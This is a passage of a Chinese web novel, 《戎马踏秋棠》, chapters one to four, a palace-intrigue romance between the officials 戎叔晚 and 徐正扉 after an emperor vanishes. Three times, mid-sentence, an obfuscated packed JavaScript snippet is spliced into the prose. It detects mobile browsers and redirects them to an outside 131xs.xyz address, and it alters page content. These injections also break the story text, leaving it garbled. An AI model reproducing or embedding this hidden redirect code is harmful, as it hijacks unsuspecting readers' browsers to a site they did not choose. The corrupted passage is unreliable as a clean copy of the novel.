《戎马踏秋棠》 1. 001 谒金门 雨幕怒涌,将死寂的宫城冲刷了无数遍。不太平的上城街道陆续有四五顶官轿疾行入宫,蹚过夜色的鞋靴,留下深浅不一的湿红,光影靡诡。 所有人都死僵在原处,消化这两个惊雷似的消息: 君主失踪了。 躲在幕帘之后,撑持朝政的长公主,难产身亡。 “……” 老太监德安面露苦涩,干巴巴的说清前因后果:西关开战,先殒驸马、后失大将,那位被奉为“贤明胜过周主”的帝王昭平,因担忧和思念,瞒过群臣,出关直奔战地。 但,那都是几个月前的事儿了。 “十日前,飞书传回,君主动身回宫,从此不知影踪。”德安身子躬低如一只老虾:“兴许是路上有事耽搁,兴许是旁的岔子,也兴许……是消息并不准确。” ——总之,人不见了。 戎叔晚摩挲着君主赏的蟒头杖,坐在暗处,那张冷脸被光影切割成深沉的影绰。他望着明处那几位自诩贤臣的君王肱股,激烈而无措的讨论,荒诞的都想发笑: 繁盛至极、雄霸四海的终黎王朝。 熬着君臣心血,历经十年才谋得天下平定,一转头,君王没了。 自十九岁那年得主子青眼,戎叔晚便入宫陪伴左右,论讨宠,谁都没他跪得更近。 他是一条狗,那位主子最忠心的狗。 仗着得宠,更是这偌大朝堂,谁也不敢得罪的恶面罗刹。 既不是清流,也不算奸佞,无党派,亦无根基。不管是号称高门名流的富贵郎君,还是盘根错节的腐朽门庭,抑或是震慑四海的威厉将军,为着主子,他谁都敢杀。 主子赏他吃食、赐他风光,他便为主子尽忠。 按理来说,他该第一个跳出来的,可他却迟迟没有开口…… 那几位贤臣还在商讨要事,盘算的冷汗直流:“君主并无子嗣,朝野揣测不停,若是此事大白天下,恐怕……几位侯爷,必要篡位。” “什么篡位,那是正经的手足,兄死弟继,岂不是名正言顺?” 如惊雷炸响在耳边,诸众心中一个激灵! 是啊,他们只防着篡位,却不想想,君主若是不在,几位侯爷是最有资格承继皇位的,别说他们了,就算手握兵权的谢祯将军来了,也没资格阻拦。 更何况,国不可一日无主。 “尤数那安平侯,狼子野心,昭然若揭!现今无计,若他强行登位,不如我们先下手为强,自扶持敬平、长平两位侯爷,与他乱中作乱的搏一搏,兴许也能拖延些时间。” 大家正急作一团,戎叔晚忽然叩紧了蟒杖,冷不丁的开了口,“在下不与诸位谋划,哪位做了宝座,哪位就是我的主子。我只管孝敬主子,不管旁的事儿。” ——“戎叔晚,你这话是什么意思?往日里看你效忠主子,最是听话,难道也要做个附炎趋势的屠狗之辈不成?” 说话的人是徐正扉。 青衣官服,临桌而立,此刻,正用一双凛然而透亮的眼睛盯紧了他。 “在下管不得这些事儿,”戎叔晚面色阴沉,说出的话却分外决绝,“自这样的主子弃了天下出宫那日,便不再是我眼中的‘明君’——我为国事谋划劳碌,何错之有?” “……” 叫他这句话震惊,群臣哑然,一时说不上什么错处来! 仍是那位开口—— 徐正扉冷笑一声,破口怒骂道,“果真是草囊里爬上来的腌臜货,戎叔晚,枉我昔日与你交好,错看了你。现今祸患当前,才知你这心肺黢黑,还不如那马厩里的畜生通人情!君主待你何等恩情,容你青云登天,难道你全忘了不成——你这不知廉耻的莽夫!” 听惯这位骂他了,戎叔晚只冷笑,“不劳提醒。在下不通人情,不识大字,更不是什么高门大族出身,与诸位贤良自然说不到一处去,便容我先去了。” 说罢,他竟真的起身走了…… 那身影顿在殿门口,又嗤笑着丢下一句,“螳臂当车,何苦来尔!”他意有所指:“只希望诸位保全性命,尤其是那牙尖嘴利的,勿要做出头鸟,叫人一刀杀了才是!” 出了宫城半里路,牙尖嘴利的那位,就堵住了人的轿子。 戎叔晚拨开轿帘,朝对面看了一眼,登时无言,复又把帘子遮住了。 徐正扉才不管,堂皇钻进人的轿子,问道:“你方才说的,可是正经话?” “大人这话蹊跷,不是正经话,难道胡诌来哄人的?”戎叔晚面不改色:“我劝大人也消停些,君主不在的时日,咱们二人察鉴府衙官员,已经将这上城的达官显贵都得罪遍了。到时候新君登基,难保不是头一个就拿你开刀。” “君主只是下落不明,生死还未有定论,你倒先做了墙头草。”徐正扉竖眉,“你这马奴,白披一身官皮!当年淮安要业,你骂扉贪生怕死,我还敬你忠义,现今一看……” “忠义?”戎叔晚打断他:“为了君主的大业,十年间我没有半个字的忤逆,是为忠;为了救大人,我瘸了一条腿,是为义。小的虽出身卑贱,没读过什么圣贤书,却也对得起自己的良心。敢问大人,有什么资格说我?” 徐正扉哑火了。 沉默好大一会儿,他才抬眼,仿佛要在戎叔晚脸上找出什么端倪:“难道你就看着安平登基?现如今在上城,只你手里有兵。” “君主无有子嗣,他要登基,那是名正言顺的主子,大人想叫我如何拦?若是君主真的……”戎叔晚越过那个假设,开口道:“安平不做主子,难不成大人去做?” 徐正扉气的一把扯住他领子:“戎先之,你——!” 戎叔晚钳住他的手腕,只轻巧用力,便将人扯开了:“大人难道忘了那句话吗?” “哪句?” 戎叔晚意味深长:“天下八分,当有徐郎一分。这天下……要乱,你不想搏一搏么?” 不等徐正扉开口,他便将话锋一转,又改了口:“谁不知道大人聪明绝顶,是君主的好臂膀?若是安平登基,你以为……你躲得过去?大人已经是泥菩萨过江,自身难保,还管的了别人么?” “有扉在一日,那安平必不能得逞。”徐正扉道:“当年你我同生共死,朋友一场……” 戎叔晚对上他的眼睛,秉着往日的称呼,将那手搁回他膝上:“什么朋友一场?不过是为了君主,才拌在一处。我不觉得跟大人这样亲近。” “不过,有句话小的还是得说:我劝大人,好自为之,不要惹火上身,丢了性命。君主惜才——安平可不知道疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519527|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 停顿了一会儿,见他愣神不语,戎叔晚干脆摆手唤人起轿:“还不回府?” 徐正扉后知后觉的扭过脸来:“?” 戎叔晚轻嗤:“大人不肯走,赖在人家轿子里,小的也没办法。”他摆出一副尖锐的戏弄神色:“当然了……大人若是想跟我回府,小的也欢迎。” 徐正扉瞪了他一眼,轻啐:“凭你?好大的脸面。” 目送人利落的下轿,钻进对面暗色的轿子里,戎叔晚才缓缓的勾起唇来。 他就这样,微微朝后依去,然后捻着指尖搁到鼻间细细的闻……方才捉过那人手腕,此刻还带着一抹似有若无的清香,好似春三月里,才开的花骨朵。 徐郎啊徐郎……啧,有意思。 戎叔晚垂眼,盯着尚有余温的手指失神。 他仍记得那年在淮安,徐正扉坐在椅子上,双目微垂、喝茶小憩的场景。 晨曦微风穿堂而过,吹起他一角青衫并两缕乌发,那打窗搁置的卷册,簌簌作响,庭外三两碧树正生起青芽,如他薄衫处点缀的一颗小花。霁月风光,气韵逼人。 徐正扉说的不假,他二人确实曾同生共死,这十年来,各端着一颗心在激流暗涌中相惜。 他教自己读书认字,自己护他安危无虞,在终黎各处的政治漩涡中,逢场作戏,未雨绸缪,联袂造的无两风头。 旁的不说,就连脚上那双靴子,都是人家徐郎有心送的。只可惜,当年喝酒赏月的岁月一去不返,再回头,竟站在了权柄的两端。 徐正扉不知这奸贼盘算什么,只暗地里多骂了他两句。 只有戎叔晚知道,眼下,自己手握宫城卫军并天子麒麟军,搅在复杂形势里,未必不是鼎镬之鹿。他是何等的煎熬难宁?只恨不能当即搜寻天下,将那位捧回宝座上,好平了这乱、报了这国。 子夜,督军府地下暗室,灯光大照如白昼。 “大人,有急报,狼回来了。” 奔袭回来的雪狼扑进主子怀里,拿尖利的牙齿磨他的手腕和手指。 戎叔晚倚靠在一旁,将瘦了一大圈的雪狼抱进怀里,而后慢慢的捋摸,直至叫它筛糠似的抖着吐出一团布料,还有胃囊里夹杂着长在西关、还未消化完全的草种子。 那是君主的袍衣一角,和西鼎烈马吃的植株。 这两样,是雪狼熬着性命,替它的主人带回来的消息。 戎叔晚神色凝重,迅速定论:“君主在西鼎。为何谢祯不曾知会众人?难道放任主子和江山置于险境不成?” 候在一旁的心腹沉声道:“安平侯已在暗地里部署兵力,既知道君主的下落,那我们要不要……” “先不要轻举妄动。安平再不济,也是正经侯爷。”戎叔晚自嘲道:“若当初真的劝着主子立了东宫,今日就不会落得这样下场了。” 话是这样说,仿佛生气。 可那双阴戾的眸子却忍不住眯了起来。 ——什么安平? 这天下的主子,就只有昭平一位。谁若敢动,妨碍了主子,拦了自个儿的青云路,必要将他们通通都杀了。 安平再放肆,也要为着他手底下的兵,礼让三分。兴许,这偌大上城,也就只有徐郎一人,敢在他心窝里狠踹两脚了。 2. 002 锁窗寒 一波未平,一波又起。 “你可知,太后回宫了?” “我也是今晨才得到的消息。前脚仆子报信,后脚就来找你了,眼下,诸事没有定论,不好轻举妄动。”徐正扉道:“依我看,叫戎叔晚封住三道门,静观其变才好。” “你的意思是……” “若是君主回转,正巧是个翁中捉鳖,若是……真有什么不测,凭他谄媚、献功去吧。”徐正扉转过脸去,端着茶杯,沉沉的叹了口气:“若是长公主在世,仍旧撑持朝政,咱们辅助她也未尝不可,若是君主留下一子半女,咱们二人背个托孤的恶名又如何?唉……可气这江山万万众,才过了几天太平日子,扉只恨没个三头六臂去寻人。” 房津只是叹气,迟迟没有下定论。 窗外的曦光转移,隔着一扇窗栏投在他官服的暗红花纹上,徐正扉拍了拍人的手背:“扉还有一计,恐怕……大逆不道。” 房津转过脸,竟从徐正扉眼里读出决绝来。他感觉后背沁汗,洇湿了两道薄衫:“仲修分明知道的,当年,我父身居高位,意欲谋势,谋逆之罪被按下不表,君主仁慈,才饶了我房家上下老小……” “这满城上下,谁不是叫君主布下了个死局,动弹不得?如若不然,凭他安平敢放肆?”徐正扉苦笑:“若是为着天下,这个位子……必要有人来坐。” 房津静了一会儿,抬眼看他,却没说话。 沉默中,他们心底酝酿着同一个答案:谢祯。 “往日里,我虽拦着他们二人作鸳鸯,可论起来……将军胸中有丘壑,虽不显山露水,却也不可小觑。以他之忠义深情,定能守好这江山,更何况,他有先帝义子之名,现如今,手握八十万大军,谁能拦得住?”徐正扉道:“若是君主不测,扉不得不,为天下择明主。” 房津迟疑片刻,“先不要做这样坏的打算。戎督军手握三万兵,兴许能守住上城。” 徐正扉道:“难道我不想?谁知道,这戎叔晚竟是个不顶用的,关键时候,倒没了骨头。”他说着斜了眸子看房津一眼:“你劝他也不听?” 房津道:“大是大非面前,我仍以为,他是明事理的。只是如今,却猜不出来,他到底有什么苦衷。” “你还这样信他?” “他在相府待了七年,我知他品性的。” 徐正扉哼笑:“你就不怕自己看走了眼?” 房津沉默了一会儿,仿佛陷入了回忆。 他道:“那年冬天,我随父亲去祭拜先祖,回城在近郊的破庙里瞧见他。恰好是君主诞辰前后,正下着鹅毛大雪,他才不过十来岁,破衣烂衫,躺在角落里,正发着高烧,浑身抽搐似的发抖;仔细一看,还被人打的满身伤痕。我见他可怜,实在不忍,遂央求父亲将他带回府中。” “后来才知道,他白日里在外街讨饭,夜里就到郊外找个破棚烂屋落脚。见他那日,还是叫城中权贵公子打的。” 徐正扉忍不住嘶了口气,想到戎叔晚盯着彩霞看的那瞬光景,轻怔了一会儿,才道:“哪家的权贵公子,这样混账,欺凌弱小,也不怕叫人耻笑了去!” 不过奇的是,这些年,也没见戎叔晚要寻仇呢。 但紧跟着,他灵光一闪,将这茬撂下,又问道:“你方才说,他才不过十来岁。怎么当年允公子生日宴上,他说七岁便进了府呢?” 房津和人对视一眼,都没说话。 徐正扉心中一惊,敏锐察觉:兴许那日,君主能召他入宫,叫他青云直上,是戎叔晚的刻意为之,处心积虑。正是因他做了车马弩、袖箭等打猎出战用的玩意儿,借着房允托出人情去,才能叫主子看见。 房津迎上他诧异的目光,点了点头:“我也是才想明白。不过,他本天资聪颖,早先还守着我读书时请教,这些年来,他忠心爱国、颇得主子青眼,虽行事不拘,却也没有什么错处。” 前后本就有渊源,再想及君主失踪后,戎叔晚如此反常……徐正扉沉下心绪去,疑虑又多了一层:这马奴,未必没有谋反的心思,又或许,已经成了安平的一份子。 现下,形势严峻,谁都不可信。 ——徐正扉抱着这样的猜想,从房府里出来的时候,正好遇到戎叔晚。 他二人打照面,擦着肩膀便往前走。戎叔晚微微别过眼去,仿佛不想看他似的。 却不曾想,徐正扉照旧笑眯眯的盯住他,“哟,这不是咱们相府的贵人吗?” 房丞相遭诛杀,相府早就没了许多年。 听见这话,戎叔晚回看他一眼,轻嗤:“好巧,在这碰见大人。” 徐正扉开门见山:“今儿,扉得了个趣事儿,马奴记性不好,连哪年进的府都忘了。” 戎叔晚僵了一下,扫在他脸上,口吻警告:“大人管的太宽,小心自讨苦吃。今早我去宫里见了‘太后’,她可是对往日之仇刻骨铭心、对大人更是恨之入骨。据我所知,尹同甫戴罪,是大人的错;张氏遭屠戮、忠义侯之殉,也是大人的错——君主不在,咱们这……做狗腿子的,可就首当其冲了。” 徐正扉磨着牙:“啧,瞧你小气的。扉记性不好,管你哪年入府的,记不清楚……” 紧跟着,他露出一个笑,阴恻恻拍人肩膀,“听说当年,督军还叫城里的权贵公子打了——你放心,扉若是知道是谁,必替你出气。就凭咱们二人这情分,若是太后刁难,拿我开刀,大人可万万要记得护着我点啊。” 戎叔晚勾唇,用气息挤出来四个字。 声音极轻,但徐正扉还是听见了:贪生怕死。 戎叔晚高大,站在一侧,挺拔厚实的肩膀倒勾勒出一片阴影,打在徐正扉脸上,只需微微侧身,那罩下来的阴暗,便将整个人都遮住了。 戎叔晚扭过脸来,脖颈一侧被人挠出来的伤痕还微微发痒——他猛地擒住徐正扉的腕,将人的手落在伤痕处,阴戾的脸上挤出来戏谑的笑;他俯身,嘴唇几乎贴着他的耳朵:“就凭徐郎的恩赐,决不敢忘……就算你想死,也得先问问我的意见。” 掌心被脖颈那处软肉烫得冒汗。 徐正扉猛地抽回手来,一向利索的嘴皮子有点打磕巴,“你、你这下流胚子,作甚怎轻浮!再者说了……谁不知你和忠义侯有过节,太后回来算账,也是头一个杀你!” 戎叔晚冷笑,转过脸去,也不搭理他的“威胁”,就快步朝府里去了。 房津行事谨慎,在上城根基颇深,手底下又护照着一批青年才俊,戎叔晚此行前来,就是为了与人拿个主意的。 戎叔晚仍循着往日的称呼:“大公子有所不知,您有几个学生,也投靠了安平,须小心谨慎,才能防着消息走漏。” 房津以礼相待,客气请他坐下:“我竟不知,还有这样一岔。” 戎叔晚不坐,仆子似的站在一侧,伺候着斟茶给他,房津忙要起身去请,却被人轻按肩膀,扶着坐回去了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你!”钟离策压下火气,复又露出虚伪而平和的笑:“果不愧是徐郎,这等的伶牙俐齿。只是……皇兄已死,这天下,到底是我们钟离的天下,徐郎尽忠,难道只尽皇兄一人的忠?素知徐郎识时务,也该为着天下着想才是。” 徐正扉拂袖,冷笑看他:“若是为了天下着想,侯爷早该自戕谢罪,免得腌臜了君主辛苦打下来的祖宗基业才是。” 钟离策朝他走近,将那柄血色淋漓的刀架在他脖颈上,口气微妙:“徐郎聪明,更该看清形势,知道现如今的上城是谁说了算。万万不要敬酒不吃……吃罚酒,才是啊。” 徐正扉微抬下巴,笑容可鞠:“罚酒是个什么酒,扉长这么大还没吃过呢!不如侯爷,让我见识见识——”那话锋一转,极尽嘲讽,“当年明君在上,扉横行朝堂的时候,侯爷不过是个没牙的崽子罢了。” 钟离策怒道:“放肆!徐正扉,你当真以为本侯不敢杀你吗?” 徐正扉面不改色:“请吧,侯爷。” 钟离策被人激怒,牙关一锁,当即挥刀欲要动作。 却只见刀光一闪,“嘭”的一声,手腕猛地剧痛,刀柄脱手坠落在地。 无数道银甲覆面的身影自各处涌跳出来,麒麟肩吞,獠牙长立,那都是以一杀百的天子亲军。慢条斯理自府门外踏进来的人,身形挺拔高大,脸色阴沉狠戾。 但那声音,却仿佛含着笑,“侯爷,徐郎是我的人。” ——“若是侯爷想跟我抢人,恐怕要先问问麒麟军,同不同意。” 3. 003 浪淘沙 徐正扉只是冷哼。 钟离策却知道背后的猫腻!他那皇兄把最威风的兵马都留给了这瘸腿的马奴,眼下宫城的兵,都归他管,虽算不上多,真发起难来,也够自己喝一壶的了。 当日,钟离策进宫见太后谋划登基,刚好与戎叔晚碰见,也不是没有试探过这人的态度。风雪宫城里,是他主动与人寒暄的:“戎督军如今身子大好,挥起杖来还如往日威风。” 戎叔晚便回:“侯爷说的哪里话,小的再威风,不还是您跟前的一个奴才么。” 钟离策笑道:“督军识时务,是这等的伶俐人,好叫本侯欣赏!日后……这宫城,就仰仗督军了。” “侯爷客气,但您有吩咐,小的必鞍前马后,不遗余力。只不过……”戎叔晚用指头摩挲着蟒杖微笑,“侯爷大业未成之前,勿要多生是非,小的奉命守着这上城,最是不容沙子的。待日后成就美谈,麒麟军护照侯爷,才最是名正言顺的。” 两道目光对视,钟离策能察觉出来:这人好似一条毒蛇,正吐着信子,虽面上讨好,可不知哪里,总叫人脊背发凉,倍感危险。 “小的与侯爷,安置两头,相安无事,最好不过了。” 被他盯得头皮发麻,钟离策强笑道,“这是自然,督军忠义,本侯岂会为难你呢!” 那日,钟离策盯着这人宽阔背影失神,那蟒杖落在砖石上敲出清晰而沉闷的“咚”声,如响鼓般炸在耳边……他到底是轻轻皱起了眉,由唇边呼出一口气来,衬着天寒,烧成一片寒冷的白色了。 现如今,不,应当说此刻:那冰冷的杖子,就顶着一根尖刺,毫不留情的抵在他胸口。 “见过侯爷。” 戎叔晚一向放得下身段,在主子面前,端的是仆子姿态,可眉眼间的冷笑,却不似口吻那样温和。除了君主,这条狗,还不曾认过主。 ——“戎督军,这是何意?” 钟离策说着,额头间的冷汗已经冒出来了……他丝毫不怀疑,在手底下兵马冲过来之前,戎叔晚就能将那根锋利的尖刺扎进自己胸口。 “侯爷误会了。”戎叔晚微微眯眼,盯住他,湿冷的目光舔过他的喉咙:“小的奉君主之命保护徐大人,是怕侯爷的刀剑无眼,误伤了他。” “奉皇兄之命?可——” “先帝之命,君主从不曾忤逆。”戎叔晚笑道:“侯爷只顾着承继大统,难不成连兄友弟恭的本分都忘了?纵是君主有什么不测,先君遗诏……” 他那话没说全,又轻笑了两声:“哦,是小的僭越了。想来侯爷爱国忠君,不会像忠义侯那样,背着谋逆之名,违逆圣诏的——对吧?” “忠义侯”三个字,给他吓出一身冷汗。 想及当日忠义侯谋逆造反,被逼着自戕谢罪时,鲜血飞溅三尺,洒了他一身,将他吓得卧病三日都没爬起来……他又怎会不知话里的深意! “本侯、本侯怎会不顾念皇兄的诏旨?”钟离策急道:“方才,不过是徐郎口出不逊,本侯想吓唬吓唬他罢了。” 听见这话,戎叔晚才撤回杖子来,朝前缓慢走了两步,不作声的将人拦在身后,低声笑:“徐郎高才,先帝在世时的春猎,曾叫他哭得无地自容;君主革新,又曾容他大闹朝堂……至于侯爷您,又何必这样小气呢?” 那话低低响起来:“更何况,侯爷是要做主子的人。连小的这样没墨水的人都知道,明君爱才,侯爷何故惹他,叫天下名流心寒呢?” 钟离策抬眼看他,目光定在戎叔晚脸上许久,方才转开,而后落在他因扣紧蟒头而迸起青筋的手臂上。 他轻嗬笑,不得不做足面子:“多谢督军提醒,是本侯考虑的不周全。” 说罢,钟离策后退半步,侧转脸去,冷笑:“既是皇兄定下的主意,那就请徐郎保护好自己吧!日后,连走夜路也该小心些,免得跌倒了。” 戎叔晚鲜少争锋,更不会在明面上锱铢必较,这回却转了性儿,赶在徐正扉开口之前,他就客客气气的拱手:“侯爷说笑了,徐郎走夜路,自有小的打着灯笼相送——倒是小的么,瘸着腿,怕是要跌倒。” “那么……就多谢侯爷关心了。” 两句话给人噎住,气得钟离策拂袖冷哼,转身去了。 徐正扉站在原处,瞅着戎叔晚的背影,哼笑:“哟,督军竟来救我,这么好心?” 戎叔晚侧转过脸来,露出笑,却没回嘴。 自西关奔袭而来的路漫长,他御马疾奔,囫囵觉都不敢睡。戎袍青靴裹满了泥尘,就连头发都被狂风吹的凌乱,有几缕散下来,打在凌厉的脸上,有种桀骜的阴湿与冰冷。 反观徐正扉,却永远站在光辉处。直至此刻,仍旧气定神闲、风流逼人,自是明月满襟、清风两袖。终黎的风雪这样浓,都吹不散他身上的清高与忧愁。 ——“我今日很忙,没空跟大人拌嘴。” 戎叔晚阔步朝外走去,身姿疲倦,然而发号施令的声音却坚决如铁,扬在空中:“都给我打起精神来,守好徐府!但他少了一根头发丝,诸位,提头来见。” 徐正扉望着他的身影,缓缓收紧了袖中手指。 他忽然想起来那时,他们二人同生共死的情形,比今日还急、还不容人。 两年前。 他二人受命调查忠义侯钟离启与太后张氏谋反之事,借革新之名,长驱直入,一路打进其势力老窝淮安。徐、戎先后厘清账税、强清贪腐,叫盘踞当地的高门贵族叫苦不迭、怨声载道,连续上奏跟君主告状。 其后,淮安州府王为山、王为河兄弟俩,更是沆瀣一气,与张氏暗通款曲,设计杀他二人。却没想到,戎叔晚技高一筹,反将王为山杀了。 王为河因此怀恨在心,叛国潜逃,趁谈判时机将徐正扉捉住下狱。戎叔晚来救,却中了埋伏!二人齐齐被扣下,一路押到邻国恩邦,投靠敌邦去了。 好在徐正扉自有妙计,跟恩邦那位泗平候恳谈过后,命人当即修书给君主,说是……要拿钟离启换他二人。别说偌大朝堂谁也不信、谁也不肯了,就是钟离启本人都不信。 那可是谋反! 但没成想,君主惜才,竟真的同意了。 钟离启得救、下榻恩邦之后,当即就要去见了徐戎二人,他本想戏弄徐正扉,却不想叫戎叔晚拦下。争锋间动起手来,他拿鞭子将伤痕累累的戎叔晚,又打了个半死。 新伤旧伤拌在一处,以至于得了释放朝外走时,那戎叔晚踉跄一步,地上便溅出一道血花。 泗平候还不舍得放徐正扉走,便笑问,“公子当真不留下吗?本王虽不及你们君主之威,到底要比你身边这位强几分。” 徐正扉不想多说:“王爷请勿取笑,我二人今日谢过您的恩情。” 泗平候拿手去蹭他的下巴,又笑眯眯去摸他的屁股,动作还没等落下,就被一只血淋淋的手握住了腕子,给人吓了一跳。 宽大手掌似铁钳般,凶狠用力,泗平候遂抬眼去看手的主人: 戎叔晚仍是冷笑着的,眼睛微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519529|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微眯起来,颇为威胁意味,只是睫毛微微一颤,便抖落一滴血痕来。 他说:“王爷,小的的朋友不喜欢这般轻浮。” 那时候的徐正扉,被这句话、这满腔怒烧着的隐忍撼住了。那颗游刃于政治与权力之中的心脏,被猛地撞击了一下,而后沉沉的坠落下去。 他甚至来不及分辨,心底一闪而过的情愫是什么。但自那刻起,有什么变得不一样了。 他望着戎叔晚脸上、手上浓汤似的滚出来的鲜血,双唇蠕动,却什么也说不出来。甚至,他想弯起唇来,像往常一样嘲讽他两句,都未能出声。 堵在嗓子眼里的那口气太沉重,将整个人都憋得发昏。以至于他慌乱往马背上爬的时候,也不知是紧张还是着急,爬了两次都踩滑了…… 当即,戎叔晚翻身上马,一把揪住他的衣裳,将他提拽上来勒在胸前。那马绳一甩,双腿狠夹,良驹立即飞奔扬蹄,踏尘而去。 一路飞驰,路上血水横流,氤湿了徐正扉的半张背,他被人锁住不敢乱动,便问,“你还能撑住吗?再有几里路,就到边界线了。” 戎叔晚不答,沉默赶路,一时出气多,进气少。 那时候,他以为,戎叔晚要死了。 ——那样阴戾的匪徒,纵死了也不该心疼的;可他却没来由的呼吸发紧。 穿过密林旷野,将要逃出生天之际,戎叔晚却忽然勒马停了下来。 只见那马奴一张脸白色毫无血色,目光却凝神盯着那天边,一双眼睛被映的晶莹,染了赤红的底色: 那落日余晖肆意挥洒,映红了漫天的云霞,如赤红烈焰般,灼灼燃烧着,是那样的悲壮而凄怆、决绝而坚定,好像没有退路般,不顾一切的、肆无忌惮的、纵情的用生命来绽放。 他唤他的字:“仲修且看……那漫天的云霞,好似君主登基那日所披的锦缎。” 戎叔晚就那般痴痴细看,眼底被烫出半颗泪来。 他仿佛也以为自己要死了似的,便哑声道,“不知这样的风景还能看多久?小的不通文采,说不上什么诗话来,只觉得好看。” 徐正扉盯着那张惨白而锋利的侧脸,惊觉这马奴似胸中有什么浓烈情愫,难以表述,竟也平白无端生出来一种落寞和震撼来。 他若是个少年游侠,御马轻笑,折花长街下,又是何等的意气风发。 可他偏偏要蟒座,要天上的辉煌云霞,要世间人跪伏在脚下,乖乖听话。 徐正扉在想,那白云和余晖交织着,分明像是一碗添了菜油水的白米饭——在那衣衫零落、任人欺辱打骂、四处偷盗苟活,朝不保夕、风餐露宿的流浪生涯中,戎叔晚日日惦念的白米饭。 正在这时,一箭破风之声直击而来。 戎叔晚警觉御马转向,快速奔逃,为了护着徐正扉,方才背对箭矢方向而去,当即后肩和膝弯各中了一箭。 莫不说淌不尽的鲜血了,那箭簇在膝盖上突出一块,纵是活过来,这条腿也决计保不住。 逃出生天之后,闻者无不惊撼其匪徒似的活下去的意志。 是了,戎叔晚不想死,他想活着。 徐正扉伏倒在床榻前,强扶住那条腿,等医师拔箭。黄昏坠落,比他那颗心还沉。那时,他脸色苍白如雪,豆大汗珠乱滚,连眼都迷了,沾满血的双手抖得不像话…… 直到此刻,徐正扉仍记得,自己问的那两句话: ——“他会死吗?” ——“他的腿,还能保住吗?” 4. 004 青玉案 徐二公子肩不能挑,手不能提,抖得厉害,根本握不住戎叔晚那条伤腿。医师面色沉重,转过来请谢将军帮忙。 箭矢挂着两角的金钩,拔得鲜血喷涌,干脆淌湿病榻。 戎叔晚昏死过去,三天都没睁过眼,整个人水淋淋泡透了似的,脸上都泛着海鱼般冷鳞的潮湿苦气;若不是鼻息底下微弱打出来的呼吸,简直不能叫人信他还活着。 这遭失血过多,以至于元气大伤,连汤药都灌不进去……徐正扉二话不说,抬手就捏开人的口鼻,含着苦水往里灌。 可惜卧榻上的人双唇发凉,没半点旖旎的意思。 就这么含汤裹水地喂了三天,医师都没敢放话说这人能活;谢祯心里也打鼓,这等伤患若是在战场上,离着“直接埋”就差那口气了。 第五天。 谢祯山似的杵在那里,看徐正扉一手摁在床边,一手托住他的下巴,含了苦汤药往人嘴里灌。那两唇相贴,徐正扉歪着头,缓慢地渡,生怕呛住人。 他正犯愁—— 忽然。 戎叔晚“唰的”睁开了眼。 谢祯惊了一跳,跟着微微瞪大双眼。 活……活了? 俩武夫四目相对,好像一块被空气噎住了。 终于,谢祯抬手,激动地磕巴了一下,想提醒徐正扉:“他、他!” 徐正扉忙坐直,戎叔晚却赶在人看见前,迅速将眼闭上了。徐正扉不知内情,只望着戎叔晚那半死不活的样子叹了口气,才扭头看过来:“怎么了?” 谢祯傻愣在那儿:“他……” ——不是,他又把眼闭上了是什么意思?! “医师!”谢祯忙差仆子去请,“快看看人怎么样了!” 三位医师转着圈儿的在他病榻前伺候,前后半个时辰,折腾的长吁短叹,床上躺的那位才慢悠悠地睁开眼,伴着憔悴的咳嗽和苍白的冷笑。 谢祯喜道:“我就说,方才看见你……” 戎叔晚开口,缓缓地舔了舔唇,声音嘶哑:“什么?将军看错了。”他转过眼睛去,话是朝徐正扉说的:“劳烦……大人搭把手,渴。” 徐正扉顾不上喜,激动得双手发抖。茶壶盖都颠出响儿来了。他手忙脚乱给人倒了杯茶,扶着人缓慢坐起来:“慢点儿。” 戎叔晚略微一动,就疼得浑身冒冷汗,后背和掌心的鞭伤还渗血,再往下半条腿都没知觉了。他喝了两口水,后知后觉地掀开被子,直至瞧见自个儿那腿好端端地长在身上,心里方才松了气。 但他是个冷面皮儿,看不出什么情绪端倪。 徐正扉随着他视线下移,又见他冷着脸不说话,以为他心中失落,便犹豫着开口:“你……你腿,伤得太厉害,但医师说是保住了,只是不知道,会不会落病根儿。” 戎叔晚抬脸:“什么?” 那眼神看人,一向湿冷。 “就是,不知道会不会……走路,影响。”徐正扉心虚地挪开视线:“你放心,我们把淮安最好的几个医师都请过来了,一定叫你好好恢复。扉这就唤人去给你造拐杖——待你好了,还跟往常一样威风。” 谢祯若有所思地看了两人一眼,先是宽慰了几句,才道:“早先,君主有令,不计代价救回军督使,我须得紧盯着。如今,军督使既脱了险,那我明日便要启程了。” 他朝徐正扉拱了拱手:“要务在身,不便久留,军督使的安危便交给大人了。” 第二日临走,谢祯又嘱咐了句:“你二人当日清缴淮安,树敌众多,务必保重。” 徐正扉颔首。 戎叔晚目送人出门后,才靠在床榻上,轻勾嘴角:“大人有玲珑心,谁来寻仇自有办法应付。可怜小的爬不起来,恐怕照拂不了大人了。” 要是往常,徐正扉定要骂他“蠢货”,可惜眼下,他却没吭声。向来笑容可掬的脸上只勉强挤出一丝笑:“那你,好好歇养吧。” 